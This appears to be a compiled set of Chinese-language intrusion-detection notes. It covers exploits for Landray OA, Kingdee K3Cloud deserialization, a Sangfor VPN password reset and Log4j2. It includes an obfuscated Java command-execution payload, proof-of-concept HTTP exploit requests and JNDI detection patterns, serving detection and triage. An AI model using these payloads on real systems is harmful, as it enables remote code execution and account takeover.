\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u003b\u0066\u0020\u003d\u0020\u006f\u0062\u006a\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u004c\u0069\u0073\u0074\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u0020\u003d\u0020\u0028\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u004c\u0069\u0073\u0074\u0029\u0020\u0028\u0066\u002e\u0067\u0065\u0074\u0028\u006f\u0062\u006a\u0029\u0029\u003b\u0066\u006f\u0072\u0020\u0028\u0069\u006e\u0074\u0020\u006a\u0020\u003d\u0020\u0030\u003b\u0020\u006a\u0020\u003c\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u002e\u0073\u0069\u007a\u0065\u0028\u0029\u003b\u0020\u002b\u002b\u006a\u0029\u0020\u007b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0020\u003d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0073\u002e\u0067\u0065\u0074\u0028\u006a\u0029\u003b\u0066\u0020\u003d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u0046\u0069\u0065\u006c\u0064\u0028\u0022\u0072\u0065\u0071\u0022\u0029\u003b\u0066\u002e\u0073\u0065\u0074\u0041\u0063\u0063\u0065\u0073\u0073\u0069\u0062\u006c\u0065\u0028\u0074\u0072\u0075\u0065\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0072\u0065\u0071\u0020\u003d\u0020\u0066\u002e\u0067\u0065\u0074\u0028\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u006f\u0072\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0072\u0065\u0073\u0070\u0020\u003d\u0020\u0072\u0065\u0071\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0052\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u0030\u005d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0071\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u0030\u005d\u0029\u003b\u0073\u0074\u0072\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0020\u0072\u0065\u0071\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0067\u0065\u0074\u0048\u0065\u0061\u0064\u0065\u0072\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0071\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0022\u0043\u006d\u0064\u0022\u007d\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0074\u0072\u0020\u0021\u003d\u0020\u006e\u0075\u006c\u006c\u0020\u0026\u0026\u0020\u0021\u0073\u0074\u0072\u002e\u0069\u0073\u0045\u006d\u0070\u0074\u0079\u0028\u0029\u0029\u0020\u007b\u0020\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0073\u0065\u0074\u0053\u0074\u0061\u0074\u0075\u0073\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006e\u0065\u0077\u0020\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0032\u0030\u0030\u0029\u007d\u0029\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u0020\u0063\u006d\u0064\u0073\u0020\u003d\u0020\u0053\u0079\u0073\u0074\u0065\u006d\u002e\u0067\u0065\u0074\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0028\u0022\u006f\u0073\u002e\u006e\u0061\u006d\u0065\u0022\u0029\u002e\u0074\u006f\u004c\u006f\u0077\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0077\u0069\u006e\u0064\u006f\u0077\u0022\u0029\u0020\u003f\u0020\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022\u0063\u006d\u0064\u002e\u0065\u0078\u0065\u0022\u002c\u0020\u0022\u002f\u0063\u0022\u002c\u0020\u0073\u0074\u0072\u007d\u0020\u003a\u0020\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u005b\u005d\u007b\u0022\u002f\u0062\u0069\u006e\u002f\u0073\u0068\u0022\u002c\u0020\u0022\u002d\u0063\u0022\u002c\u0020\u0073\u0074\u0072\u007d\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0020\u003d\u0020\u0053\u0079\u0073\u0074\u0065\u006d\u002e\u0067\u0065\u0074\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0028\u0022\u006f\u0073\u002e\u006e\u0061\u006d\u0065\u0022\u0029\u002e\u0074\u006f\u004c\u006f\u0077\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0077\u0069\u006e\u0064\u006f\u0077\u0022\u0029\u0020\u003f\u0020\u0022\u0047\u0042\u004b\u0022\u003a\u0022\u0055\u0054\u0046\u002d\u0038\u0022\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0074\u0065\u0078\u0074\u0032\u0020\u003d\u0028\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0053\u0063\u0061\u006e\u006e\u0065\u0072\u0028\u0028\u006e\u0065\u0077\u0020\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0042\u0075\u0069\u006c\u0064\u0065\u0072\u0028\u0063\u006d\u0064\u0073\u0029\u0029\u002e\u0073\u0074\u0061\u0072\u0074\u0028\u0029\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u002c\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u0029\u002e\u0075\u0073\u0065\u0044\u0065\u006c\u0069\u006d\u0069\u0074\u0065\u0072\u0028\u0022\u005c\u005c\u0041\u0022\u0029\u002e\u006e\u0065\u0078\u0074\u0028\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0072\u0065\u0073\u0075\u006c\u0074\u003d\u0028\u0022\u0045\u0078\u0065\u0063\u0075\u0074\u0065\u003a\u0020\u0020\u0020\u0020\u0022\u002b\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0074\u0065\u0078\u0074\u0032\u002c\u0022\u0075\u0074\u0066\u002d\u0038\u0022\u0029\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0074\u006f\u006d\u0063\u0061\u0074\u002e\u0075\u0074\u0069\u006c\u002e\u0062\u0075\u0066\u002e\u0042\u0079\u0074\u0065\u0043\u0068\u0075\u006e\u006b\u0022\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0063\u006c\u0073\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0063\u006c\u0073\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0073\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u002c\u0020\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u0073\u0073\u002c\u0020\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006f\u0062\u006a\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0073\u0075\u006c\u0074\u002c\u0020\u006e\u0065\u0077\u0020\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0030\u0029\u002c\u0020\u006e\u0065\u0077\u0020\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0072\u0065\u0073\u0075\u006c\u0074\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u007d\u0029\u003b\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u006f\u0057\u0072\u0069\u0074\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0063\u006c\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006f\u0062\u006a\u007d\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u004d\u0065\u0074\u0068\u006f\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0076\u0061\u0072\u0035\u0029\u0020\u007b\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u006e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0063\u006c\u0073\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0077\u0072\u0061\u0070\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0063\u006c\u0073\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0073\u0075\u006c\u0074\u007d\u0029\u003b\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u006f\u0057\u0072\u0069\u0074\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0063\u006c\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006f\u0062\u006a\u007d\u0029\u003b\u0020\u007d\u0066\u006c\u0061\u0067\u0020\u003d\u0020\u0074\u0072\u0075\u0065\u003b\u0020\u007d\u0069\u0066\u0020\u0028\u0066\u006c\u0061\u0067\u0029\u0020\u007b\u0020\u0062\u0072\u0065\u0061\u006b\u003b\u0020\u007d\u0020\u007d\u0069\u0066\u0020\u0028\u0066\u006c\u0061\u0067\u0029\u0020\u007b\u0020\u0062\u0072\u0065\u0061\u006b\u003b\u0020\u007d\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0020\u007d
```

## 研判分析
结合请求方法POST,请求路径/sys/ui/extend/varkind/custom.jsp,及请求内容body中的命令参数进行分析,响应状态码200,响应内容和请求内容结合分析。
## 参考链接
Awesome-POC
蓝凌(Landray)OA漏洞常见RCE
================================================
FILE: Web/2023/other/金蝶K3Cloud反序列化.md
================================================
# 金蝶 K3Cloud 反序列化漏洞-------------
## 漏洞描述-------------
由于金蝶云星空能够使用format参数指定数据格式为二进制,攻击者可以 通过发送由BinaryFormatter恶意序列化后的数据让服务端进行危险的BinaryFormatter反序列化操作。反序列化过程中没有对数据进行签名或校验,导致攻击者可以在未授权状态下进行服务器远程代码执行。-------------
## 影响范围-------------
- 金蝶云星空<6.2.1012.4
- 7.0.352.16<金蝶云星空<7.7.0.202111
- 8.0.0.202205<金蝶云星空<8.1.0.20221110-------------
## 漏洞复现-------------
漏洞原理:由于金蝶云星空管理中心在处理序列化数据时,未对数据进行签名或校验,攻击手可以写入包含恶意代码的序列化数据,系统在进行反序列化时造成远程命令执行,该“管理中心“是提供给管理员使用的管理端,默认开放于8000端口。-------------
漏洞利用POC:-------------
```
POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessO
bjectData.common.kdsvc HTTP/1.1
Host: 127.0.0.1
User-Agent: firefox
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=
0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="2
4"
sec-ch-ua-mobile: ?0
Content-Type: text/json
Content-Length: 5725-------------
ap0=paylod&format=3-------------
```
- ------------
paylod需要进⾏⼀次url编码。-------------
漏洞利用POC2绕过:-------------
```
POST /Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessO
bjectData.common.kdsvc HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64; x64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/111.0.5520.225 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=
0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="2
4"
sec-ch-ua-mobile: ?0
Content-Type: text/json
Content-Length: 2416-------------
{
"ap0":
"<_x003C_Data_x003E_k__BackingField z:Id=\"2\">{BinaryPaylad}",
"format": "4"
}-------------
```
- ------------
*其中ap0中替换为ysoserial.exe中生成的内容,通常情况下为200响应。*-------------
## 研判分析-------------
- 请求方法POST
- 请求路径:/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc
- 请求内容ap0中的内容
- 响应状态码200及内容-------------
## 参考链接-------------
⾦蝶K3Cloud反序列化分析及利⽤-------------
-------------
金蝶云星空 反序列化远程代码执行漏洞 附检测POC-------------
-------------
金蝶云星空反序列化远程代码执行漏洞复现-------------
================================================
FILE: Web/long time/T1133-001-深信服VPN任意密码重置.md
================================================
# T1133-001-深信服VPN任意密码重置
## 来自ATT&CK的描述
攻击者可能会利用面向外部的VPN服务来实现最初访问或网络内持久化。VPN服务使用户可以从外部位置连接到内部企业网络资源。
通常需要有效帐户才能使用该服务,这可以通过凭据篡改或在攻陷企业网络之后从用户那里获取凭据来获得。(引自:Volexity Virtual Private Keylogging) 在攻击者的操作过程中,对远程服务的访问可用作冗余或持久访问机制。
## 测试案例
已知影响范围M7.6.6R1、M7.6.1
## 检测日志
HTTP
## 测试复现
M7.6.6R1 key 为20181118
M7.6.1 key 为 20100720
## 测试留痕
```
yml
POST /por/changepwd.csp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"深信服VPN任意密码重置";flow:established,to_server;content:"POST";http_method;content:"/por/changepwd.csp";http_uri;content:"sessReq=clusterd&sessid=0&str=RC4_STR&len=RC4_STR_LEN";http_client_body;reference:url,www.hacking8.com;classtype:web-application-attck;sid:3002012;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1133-001
================================================
FILE: Web/long time/T1190- Apache Log4j2漏洞利用检测.md
================================================
# T1190- Apache Log4j2漏洞利用检测
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## Apache Log4j2漏洞
2021年12月,Apache开源组件Log4j(Apache Log4j2是一款优秀的Java日志框架。)被发现两个相关漏洞,分别为任意代码执行漏洞和拒绝服务攻击漏洞,攻击者可以通过构造特殊的请求进行任意代码执行,以达到控制服务器的目的,或者通过构造特殊的请求进行DoS攻击,以达到影响服务器正常运行的目的,影响面十分广泛。
影响范围:Apache Log4j 2.x < 2.15.0-rc2
## 测试案例
网络上已经公开的利用方法比较多,这里不再添加相关案例信息,可自行查找。
## 检测日志
HTTP流量
## 测试复现
无
## 测试留痕
HTTP流量检测规则基于payload关键词进行检测
## 检测规则/思路
### Splunk检测规则
```
yml
((cs-User-Agent="*$${jndi:ldap:/*" OR cs-User-Agent="*$${jndi:rmi:/*" OR cs-User-Agent="*$${jndi:ldaps:/*" OR cs-User-Agent="*$${jndi:dns:/*" OR cs-User-Agent="*/$$%7bjndi:*" OR cs-User-Agent="*%24%7bjndi:*" OR cs-User-Agent="*$$%7Bjndi:*" OR cs-User-Agent="*%2524%257Bjndi*" OR cs-User-Agent="*%2F%252524%25257Bjndi%3A*" OR cs-User-Agent="*$${jndi:$${lower:*" OR cs-User-Agent="*$${::-j}$${*" OR cs-User-Agent="*$${jndi:nis*" OR cs-User-Agent="*$${jndi:nds*" OR cs-User-Agent="*$${jndi:corba*" OR cs-User-Agent="*$${jndi:iiop*" OR cs-User-Agent="*$${$${env:BARFOO:-j}*" OR cs-User-Agent="*$${::-l}$${::-d}$${::-a}$${::-p}*" OR cs-User-Agent="*$${base64:JHtqbmRp*") (user-agent="*$${jndi:ldap:/*" OR user-agent="*$${jndi:rmi:/*" OR user-agent="*$${jndi:ldaps:/*" OR user-agent="*$${jndi:dns:/*" OR user-agent="*/$$%7bjndi:*" OR user-agent="*%24%7bjndi:*" OR user-agent="*$$%7Bjndi:*" OR user-agent="*%2524%257Bjndi*" OR user-agent="*%2F%252524%25257Bjndi%3A*" OR user-agent="*$${jndi:$${lower:*" OR user-agent="*$${::-j}$${*" OR user-agent="*$${jndi:nis*" OR user-agent="*$${jndi:nds*" OR user-agent="*$${jndi:corba*" OR user-agent="*$${jndi:iiop*" OR user-agent="*$${$${env:BARFOO:-j}*" OR user-agent="*$${::-l}$${::-d}$${::-a}$${::-p}*" OR user-agent="*$${base64:JHtqbmRp*") (cs-uri="*$${jndi:ldap:/*" OR cs-uri="*$${jndi:rmi:/*" OR cs-uri="*$${jndi:ldaps:/*" OR cs-uri="*$${jndi:dns:/*" OR cs-uri="*/$$%7bjndi:*" OR cs-uri="*%24%7bjndi:*" OR cs-uri="*$$%7Bjndi:*" OR cs-uri="*%2524%257Bjndi*" OR cs-uri="*%2F%252524%25257Bjndi%3A*" OR cs-uri="*$${jndi:$${lower:*" OR cs-uri="*$${::-j}$${*" OR cs-uri="*$${jndi:nis*" OR cs-uri="*$${jndi:nds*" OR cs-uri="*$${jndi:corba*" OR cs-uri="*$${jndi:iiop*" OR cs-uri="*$${$${env:BARFOO:-j}*" OR cs-uri="*$${::-l}$${::-d}$${::-a}$${::-p}*" OR cs-uri="*$${base64:JHtqbmRp*") (cs-referrer="*$${jndi:ldap:/*" OR cs-referrer="*$${jndi:rmi:/*" OR cs-referrer="*$${jndi:ldaps:/*" OR cs-referrer="*$${jndi:dns:/*" OR cs-referrer="*/$$%7bjndi:*" OR cs-referrer="*%24%7bjndi:*" OR cs-referrer="*$$%7Bjndi:*" OR cs-referrer="*%2524%257Bjndi*" OR cs-referrer="*%2F%252524%25257Bjndi%3A*" OR cs-referrer="*$${jndi:$${lower:*" OR cs-referrer="*$${::-j}$${*" OR cs-referrer="*$${jndi:nis*" OR cs-referrer="*$${jndi:nds*" OR cs-referrer="*$${jndi:corba*" OR cs-referrer="*$${jndi:iiop*" OR cs-referrer="*$${$${env:BARFOO:-j}*" OR cs-referrer="*$${::-l}$${::-d}$${::-a}$${::-p}*" OR cs-referrer="*$${base64:JHtqbmRp*"))
```
### Elastic search检测规则
```
yml
(cs-User-Agent:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND user_agent.original:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND cs-uri:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND http.request.referrer:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*))
```
### Zeek检测规则
```
yml
(event.dataset:"zeek.http" AND cs-User-Agent:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND user_agent.original:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR *$\{\:\:\-l\}$\{\:\:\-d\}$\{\:\:\-a\}$\{\:\:\-p\}* OR *$\{base64\:JHtqbmRp*) AND url.original:(*$\{jndi\:ldap\:\/* OR *$\{jndi\:rmi\:\/* OR *$\{jndi\:ldaps\:\/* OR *$\{jndi\:dns\:\/* OR *\/$%7bjndi\:* OR *%24%7bjndi\:* OR *$%7Bjndi\:* OR *%2524%257Bjndi* OR *%2F%252524%25257Bjndi%3A* OR *$\{jndi\:$\{lower\:* OR *$\{\:\:\-j\}$\{* OR *$\{jndi\:nis* OR *$\{jndi\:nds* OR *$\{jndi\:corba* OR *$\{jndi\:iiop* OR *$\{$\{env\:BARFOO\:\-j\}* OR 